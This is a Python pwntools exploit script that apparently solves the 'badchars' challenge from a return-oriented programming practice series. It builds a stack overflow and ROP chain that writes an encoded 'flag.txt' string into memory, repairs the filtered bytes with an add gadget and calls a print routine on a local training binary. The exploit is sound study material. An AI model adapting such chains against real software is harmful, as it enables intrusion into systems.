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#!/usr/bin/env python3
from pwn import *
from time import sleep
def strfixandcopy(dest, string, badchars, payload):
badchar_locations = []
fixed_str = b''
for n,l in enumerate(string):
if l in badchars:
fixed_str += bytes([ord(string[n]) - 1])
badchar_locations.append(n)
else:
fixed_str += bytes([ord(string[n])])
payload += p64(0x000000000040069c) # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload += fixed_str # r12
payload += p64(dest) # r13
payload += p64(1) # r14
payload += p64(1) # r15
payload += p64(0x0000000000400634) # moves fixed string
for badchar_location in badchar_locations:
payload += p64(0x00000000004006a0) # pop r14, r15
payload += p64(1)
payload += p64(dest + badchar_location)
payload += p64(0x000000000040062c) #does the adding
return(payload)
prog = process('./badchars')
payload = b''
for c in range(40):
payload += b'a'
payload = strfixandcopy(0x601be0, 'flag.txt', 'xga.', payload)
payload += p64(0x00000000004006a3)
payload += p64(0x601be0)
payload += p64(0x0000000000400510)
payload += b"\n"
prog.sendline(payload)
sleep(0.5)
print(str(prog.recv(), 'UTF-8'))
prog.close()
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